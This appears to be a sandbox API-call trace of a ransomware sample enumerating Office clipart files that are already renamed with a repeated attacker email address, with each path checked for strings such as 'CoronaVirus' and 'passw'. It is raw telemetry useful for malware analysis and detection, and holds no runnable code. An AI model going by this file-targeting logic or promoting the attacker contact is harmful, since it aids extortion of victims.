	[0094.552] SetThreadPriority (hThread=0xbac, nPriority=15) returned 1
	[0094.553] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", cAlternateFileName="CO802E~1.GIF")) returned 1
	[0094.553] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.553] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.553] malloc (_Size=0x1000) returned 0x51fa0c0
	[0094.553] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif") returned 213
	[0094.553] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.553] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="wasse") returned 0x0
	[0094.553] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="passw") returned 0x0
	[0094.554] SetThreadPriority (hThread=0xbb4, nPriority=15) returned 1
	[0094.555] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x13c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", cAlternateFileName="COA3F0~1.GIF")) returned 1
	[0094.555] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.555] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.555] malloc (_Size=0x1000) returned 0x51fb0c8
	[0094.555] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif") returned 213
	[0094.555] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.555] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="wasse") returned 0x0
	[0094.555] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="passw") returned 0x0
	[0094.826] SetThreadPriority (hThread=0xbb8, nPriority=15) returned 1
	[0094.831] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", cAlternateFileName="CO5763~1.GIF")) returned 1
	[0094.831] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.831] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.831] malloc (_Size=0x1000) returned 0x51f3088
	[0094.831] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif") returned 213
	[0094.831] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.831] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="wasse") returned 0x0
	[0094.831] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="passw") returned 0x0
	[0094.836] SetThreadPriority (hThread=0xb88, nPriority=15) returned 1
	[0094.838] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0xfa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", cAlternateFileName="COE077~1.GIF")) returned 1
	[0094.838] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.843] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.843] malloc (_Size=0x1000) returned 0x51f0070
	[0094.843] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif") returned 213
	[0094.843] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.843] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="wasse") returned 0x0
	[0094.843] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="passw") returned 0x0
	[0094.844] SetThreadPriority (hThread=0xb98, nPriority=15) returned 1
	[0094.845] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0xd41, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", cAlternateFileName="CO2A30~1.GIF")) returned 1
	[0094.845] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.847] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.850] malloc (_Size=0x1000) returned 0x51f4090
	[0094.850] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif") returned 213
	[0094.850] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.850] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="wasse") returned 0x0
	[0094.850] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="passw") returned 0x0
	[0094.851] SetThreadPriority (hThread=0xbc0, nPriority=15) returned 1
	[0094.852] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", cAlternateFileName="CO0ADE~1.GIF")) returned 1
	[0094.852] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.854] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.854] malloc (_Size=0x1000) returned 0x51f3088
	[0094.860] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif") returned 213
	[0094.860] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.860] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="wasse") returned 0x0
	[0094.860] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="passw") returned 0x0
	[0094.861] SetThreadPriority (hThread=0xba0, nPriority=15) returned 1
	[0094.863] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf043fb32, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x34e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", cAlternateFileName="CO4722~1.GIF")) returned 1
	[0094.864] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.864] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.868] malloc (_Size=0x1000) returned 0x51f0070
	[0094.868] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif") returned 213
	[0094.868] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.868] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="wasse") returned 0x0
	[0094.868] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="passw") returned 0x0
	[0094.868] SetThreadPriority (hThread=0xbbc, nPriority=15) returned 1
	[0094.870] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf043fb32, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x4ef1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", cAlternateFileName="CO05C5~1.GIF")) returned 1
	[0094.870] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.877] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.877] malloc (_Size=0x1000) returned 0x51f0070
	[0094.877] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif") returned 213
	[0094.877] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.877] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="wasse") returned 0x0
	[0094.877] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="passw") returned 0x0
	[0094.877] SetThreadPriority (hThread=0xbb0, nPriority=15) returned 1
	[0094.884] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf043fb32, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x5001, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", cAlternateFileName="COCBD5~1.GIF")) returned 1
	[0094.884] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.884] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.887] malloc (_Size=0x1000) returned 0x51f60a0
	[0094.887] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif") returned 213
	[0094.887] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.887] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="wasse") returned 0x0
	[0094.887] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="passw") returned 0x0
	[0094.888] SetThreadPriority (hThread=0xba8, nPriority=15) returned 1
	[0094.893] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf043fb32, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x3d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", cAlternateFileName="COC607~1.GIF")) returned 1
	[0094.893] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.897] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.897] malloc (_Size=0x1000) returned 0x51f3088
	[0094.897] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif") returned 213
	[0094.898] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.898] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="wasse") returned 0x0
	[0094.898] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="passw") returned 0x0
	[0094.898] SetThreadPriority (hThread=0xb90, nPriority=15) returned 1
	[0094.900] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", cAlternateFileName="CORONA~2.GIF")) returned 1
	[0094.907] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.907] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.907] malloc (_Size=0x1000) returned 0x51f3088
	[0094.907] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif") returned 242
	[0094.907] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.907] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="wasse") returned 0x0
	[0094.907] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="passw") returned 0x0
	[0094.907] SetThreadPriority (hThread=0xbc4, nPriority=15) returned 1
	[0094.909] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", cAlternateFileName="CO1606~1.GIF")) returned 1
	[0094.909] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.912] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.912] malloc (_Size=0x1000) returned 0x51f0070
	[0094.912] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif") returned 242
	[0094.912] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.912] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="wasse") returned 0x0
	[0094.912] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="passw") returned 0x0
	[0094.914] SetThreadPriority (hThread=0xbcc, nPriority=15) returned 1
